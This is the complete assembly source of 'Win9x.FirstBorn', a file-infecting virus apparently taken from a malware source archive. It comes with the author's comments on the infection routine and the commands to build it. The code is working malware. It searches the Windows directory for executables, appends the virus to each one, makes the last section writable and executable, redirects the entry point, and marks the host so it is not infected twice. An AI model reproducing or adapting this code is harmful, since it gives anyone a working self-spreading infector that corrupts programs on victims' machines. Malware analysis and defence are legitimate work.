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vxug-MalwareSourceCode/LegacyWindows/Win32.FirstBorn.txt
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2020-10-09 21:54:36 -05:00

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;
; [ Win9x.FirstBorn Vorgon ]
; [ 2560 bytes Target - PE ]
; [ 08/10/02 Made in Canada ]
;
;
;
;
; [ Introduction ]
;
; After three or four years of programming in asm i decided i was ready for
; somthing more challenging. Virus programming had always interested me so
; i went searching for a group that would teach me the basics. I found the
; group iKX, and T00FiC showed me how to make my first virus which i call
; FirstBorn. Its a sucky virus and would never survive in the wild, i only
; made it for learning purposes.
;
; [ The Infection ]
;
; FirstBorn is a simple PE infector. It only works on Win9x because i could
; not get the exception handling part of the Kernel finder working. So it
; just assumes the kernel is located at 0BFF70000. I will have this function
; working in my next virus and then it can infect NT and 2k. Below is
; a break down of what the virus does:
;
; - Get the delta offset and save the starting location of the virus
; - Save registers incase the host program needs them
; - Use the GetFunctionAddress procedure to get the kernel32 api function
; addreses i need.
; - Call the FindHostFile procedure to find a valid PE file to infect.
; - Call the GetHeader procedure which reads the PE header into memory
; - Call the AddCodeToHost procedure which does many things:
; - Writes this program in memory to the end of the host file
; - Updates the last section header to include all the data
; up to the EOF, Updates its virtual size, and makes it
; Readable/Writable/Executable
; - Updates the program image size
; - Sets the entry point to the virus code
; - Adds a signature to location 79h to stop another infection
; - Call PutHeader procedure which writes the updated PE Header to the host
; - Restore registers for the host program
; - Returns control to the host program
;
;
; [ Assembling ]
;
; tasm32 /ml 1born
; tlink32 -x /Tpe /c 1born,1born
; editbin /SECTION:CODE,rwe 1born.exe
;
;
.386p
.model flat, stdcall
extrn ExitProcess : PROC
.DATA
dd 0
.CODE
Main:
;----------------------------------------------------------------------------
; Get delta offset and the start location of the virus in memory
;----------------------------------------------------------------------------
push ebp
call GetDeltaPointer
GetDeltaPointer:
pop ebp
sub ebp, offset GetDeltaPointer
Call SaveRegisters
mov [ebp+StartOfCode], ebp
lea eax, GetDeltaPointer
add [ebp+StartOfCode], eax
sub [ebp+StartOfCode], 6 ;get the start address of virus in memory
mov eax, [ebp+HEP2] ;Set the return to host address
mov [ebp+HostEntryPoint], eax
;----------------------------------------------------------------------------
; Virus Data
;----------------------------------------------------------------------------
jmp JumpOverData
StartOfCode dd 0
VirusSignature dd 0DEADBEEFh
Handle dd 0
NumberOfBytesRead dd 0
PE_Header db 248 dup(0)
LocationOfHeader dd 0
SearchString db 'c:\windows\*.EXE',0
FindHandle dd 0
Win32_Find_Data:
FileAttributes dd 0
CreateTime dq 0
LastAccessTime dq 0
LastWriteTime dq 0
FileSizeHigh dd 0
FileSizeLow dd 0
Reserved0 dd 0
Reserved1 dd 0
FullFileName db 260 dup(0)
AlternateFileName db 14 dup(0)
SectionHeader:
ANSI_Name db 8 dup(0)
VirtualSize dd 0
VirtualAddress dd 0
SizeOfRawData dd 0
PointerToRawData dd 0
PointerToRelocs dd 0
PointerToLinNums dd 0
NumberOfRelocs dw 0
NumberOfLineNums dw 0
Characteristics dd 0
Kernel32Address dd 0BFF70000h
szCreateFileA db 'CreateFileA',0
_CreateFileA dd 0
szWriteFile db 'WriteFile',0
_WriteFile dd 0
szCloseHandle db 'CloseHandle',0
_CloseHandle dd 0
szReadFile db 'ReadFile',0
_ReadFile dd 0
szSetFilePointer db 'SetFilePointer',0
_SetFilePointer dd 0
szFindFirstFileA db 'FindFirstFileA',0
_FindFirstFileA dd 0
szFindNextFileA db 'FindNextFileA',0
_FindNextFileA dd 0
szFindClose db 'FindClose',0
_FindClose dd 0
loc dd 0
loc2 dd 0
HostEntryPoint dd 0
HEP2 dd 00401000h
_EBP dd 0
_EDI dd 0
_ESI dd 0
_EAX dd 0
_EBX dd 0
_ECX dd 0
_EDX dd 0
FirstGeneration dd 1
JumpOverData:
;----------------------------------------------------------------------------
; Get the required API function addresses from the Kernel32.dll
;----------------------------------------------------------------------------
lea esi, [ebp+szCreateFileA]
call GetFunctionAddress
mov [ebp+_CreateFileA], eax
lea esi, [ebp+szWriteFile]
call GetFunctionAddress
mov [ebp+_WriteFile], eax
lea esi, [ebp+szCloseHandle]
call GetFunctionAddress
mov [ebp+_CloseHandle], eax
lea esi, [ebp+szReadFile]
call GetFunctionAddress
mov [ebp+_ReadFile], eax
lea esi, [ebp+szSetFilePointer]
call GetFunctionAddress
mov [ebp+_SetFilePointer], eax
lea esi, [ebp+szFindFirstFileA]
call GetFunctionAddress
mov [ebp+_FindFirstFileA], eax
lea esi, [ebp+szFindNextFileA]
call GetFunctionAddress
mov [ebp+_FindNextFileA], eax
lea esi, [ebp+szFindClose]
call GetFunctionAddress
mov [ebp+_FindClose], eax
;----------------------------------------------------------------------------
; Main
;----------------------------------------------------------------------------
Call FindHostFile ;Find an exe to infect
cmp eax, 0FFFFFFFFh
je BackToHost
lea eax, [ebp+FullFileName] ;Open it
mov ebx, 0C0000000h
call OpenFile
cmp eax, 0FFFFFFFFh
je BackToHost
call GetHeader ;Get its PE header
call AddCodeToHost ;Add virus to it
call PutHeader ;Write the updated PE header
;to it
mov eax, [ebp+Handle]
call CloseFile ;Close it
BackToHost:
cmp dword ptr [ebp+FirstGeneration], 1
je Exit
mov eax, dword ptr [ebp+HostEntryPoint]
push eax
Call RestoreRegisters
ret ;return to host
Exit:
push 0
Call ExitProcess
;----------------------------------------------------------------------------
; General Procedures
;----------------------------------------------------------------------------
SaveRegisters PROC
mov [ebp+_EDI], edi
mov [ebp+_ESI], esi
mov [ebp+_EBX], ebx
mov [ebp+_ECX], ecx
mov [ebp+_EDX], edx
pop eax
pop ebx
mov [ebp+_EBP], ebx
push eax
ret
SaveRegisters ENDP
RestoreRegisters PROC
mov edi, [ebp+_EDI]
mov esi, [ebp+_ESI]
mov ebx, [ebp+_EBX]
mov ecx, [ebp+_ECX]
mov edx, [ebp+_EDX]
mov ebp, [ebp+_EBP]
ret
RestoreRegisters ENDP
AddCodeToHost PROC
push dword ptr [ebp+FirstGeneration]
mov dword ptr [ebp+FirstGeneration], 0
mov eax, dword ptr [ebp+PE_Header+40]
add eax, dword ptr [ebp+PE_Header+52] ;add image base
mov [ebp+HEP2], eax ;Save original entry point
mov eax, 0
mov ebx, 2
Call SeekData ;Seek to EOF
mov [ebp+loc], eax
add [ebp+loc], 2560 ;loc = new EOF
mov eax, [ebp+StartOfCode]
mov ebx, 2560
call PutData ;Write virus to EOF
xor edx, edx
xor eax, eax
mov ax, word ptr [ebp+PE_Header+6]
dec eax
mov ebx, 40
mul ebx
add eax, [ebp+LocationOfHeader]
add eax, 248
mov ebx, 0
Call SeekData ;Seek to the last section header
lea eax, [ebp+SectionHeader]
mov ebx, 40
Call GetData ;Get the last section header
mov eax, dword ptr [ebp+PE_Header+80]
sub eax, [ebp+VirtualSize]
mov dword ptr [ebp+PE_Header+80], eax ;subtract the section size from the image size
mov eax, [ebp+loc]
sub eax, [ebp+PointerToRawData]
mov [ebp+SizeOfRawData], eax ;Update SizeOfRawData
shr eax, 12 ;divide eax by 4096
shl eax, 12 ;multiply eax by 4096
add eax, 8192 ;add 1 - 2k for any unitialized data
mov [ebp+VirtualSize], eax ;Update VirtualSize
mov eax, [ebp+SizeOfRawData]
sub eax, 2560
add eax, [ebp+VirtualAddress]
mov dword ptr [ebp+PE_Header+40], eax ;Set Entry point
mov [ebp+Characteristics], 0E0000020h ;Make Section Executable/Readable/Writable
mov eax, -40
mov ebx, 1
Call SeekData
lea eax, [ebp+SectionHeader]
mov ebx, 40
Call PutData ;Write section header back to file
mov eax, dword ptr [ebp+PE_Header+80]
add eax, [ebp+VirtualSize]
mov dword ptr [ebp+PE_Header+80], eax ;update image size
mov eax, 79h
mov ebx, 0
Call SeekData
lea eax, [ebp+VirusSignature]
mov ebx, 4
Call PutData ;Write Virus Signature to host
;to prevent reinfection
pop dword ptr [ebp+FirstGeneration]
ret
AddCodeToHost ENDP
FindHostFile PROC
lea eax, [ebp+Win32_Find_Data]
lea ebx, [ebp+SearchString]
push eax
push ebx
Call [ebp+_FindFirstFileA]
mov [ebp+FindHandle], eax ;Get First File match
FindHost:
lea eax, [ebp+FullFileName]
mov ebx, 0C0000000h
call OpenFile
cmp eax, 0FFFFFFFFh
je FindNext
mov [ebp+Handle], eax
mov eax, 79h
mov ebx, 0
Call SeekData
lea eax, [ebp+loc]
mov ebx, 4
Call GetData
mov eax, 3Ch
mov ebx, 0
Call SeekData
lea eax, [ebp+loc2]
mov ebx, 4
Call GetData
mov eax, [ebp+loc2]
mov ebx, 0
Call SeekData
lea eax, [ebp+loc2]
mov ebx, 4
Call GetData ;Get PE signature
mov eax, [ebp+Handle]
Call CloseFile
cmp [ebp+loc], 0DEADBEEFh
jne NextCheck ;Already Infected?
je FindNext
NextCheck:
cmp [ebp+loc2], 00004550h ;Valid PE EXE?
je FoundHost
FindNext:
lea eax, [ebp+Win32_Find_Data]
push eax
push [ebp+FindHandle]
Call [ebp+_FindNextFileA]
cmp eax, 0 ;No more exes left
je HostNotFound
jmp FindHost
FoundHost:
push [ebp+FindHandle]
Call [ebp+_FindClose]
ret
HostNotFound:
push [ebp+FindHandle]
Call [ebp+_FindClose]
mov eax, 0FFFFFFFFh
ret
FindHostFile ENDP
GetHeader PROC
mov eax, 3Ch
mov ebx, 0
call SeekData
lea eax, [ebp+LocationOfHeader]
mov ebx, 4
call GetData
mov eax, [ebp+LocationOfHeader]
mov ebx, 0
call SeekData
lea eax, [ebp+PE_Header]
mov ebx, 248
call GetData
ret
GetHeader ENDP
PutHeader PROC
mov eax, 3Ch
mov ebx, 0
call SeekData
lea eax, [ebp+LocationOfHeader]
mov ebx, 4
call GetData
mov eax, [ebp+LocationOfHeader]
mov ebx, 0
call SeekData
lea eax, [ebp+PE_Header]
mov ebx, 248
call PutData
ret
PutHeader ENDP
GetFunctionAddress PROC
mov eax, [ebp+Kernel32Address] ;EAX = Kernel32 Address
mov ebx, [eax+3Ch]
add ebx, eax
add ebx, 120
mov ebx, [ebx]
add ebx, eax ;EBX = Export Address
xor edx, edx
mov ecx, [ebx+32]
add ecx, eax
push esi
push edx
CompareNext:
pop edx
pop esi
inc edx
mov edi, [ecx]
add edi, eax
add ecx, 4
push esi
push edx
CompareName:
mov dl, [edi]
mov dh, [esi]
cmp dl, dh
jne CompareNext
inc edi
inc esi
cmp byte ptr [esi], 0
je GetAddress
jmp CompareName
GetAddress:
pop edx
pop esi
dec edx
shl edx, 1
mov ecx, [ebx+36]
add ecx, eax
add ecx, edx
xor edx, edx
mov dx, [ecx]
shl edx, 2
mov ecx, [ebx+28]
add ecx, eax
add ecx, edx
add eax, [ecx]
ret
GetFunctionAddress ENDP
;----------------------------------------------------------------------------
; File I/O Procedures
;----------------------------------------------------------------------------
OpenFile PROC
push 00000000h
push 00000080h
push 00000003h
push 00000000h
push 00000000h
push ebx ;open for read/write
push eax
call [ebp+_CreateFileA]
mov [ebp+Handle], eax
ret
OpenFile ENDP
CloseFile PROC
push eax
call [ebp+_CloseHandle]
ret
CloseFile ENDP
SeekData PROC
push ebx ; 0 = begin / 1 = current / 2 = end
push 0
push eax ; location to seek to
push [ebp+Handle]
call [ebp+_SetFilePointer]
ret
SeekData ENDP
GetData PROC
lea ecx, [ebp+NumberOfBytesRead]
push 00000000h
push ecx
push ebx
push eax
push [ebp+Handle]
call [ebp+_ReadFile]
ret
GetData ENDP
PutData PROC
lea ecx, [ebp+NumberOfBytesRead]
push 0
push ecx
push ebx
push eax
push [ebp+Handle]
call [ebp+_WriteFile]
ret
PutData ENDP
End Main
;Wow your actualy still reading? Get a life :p
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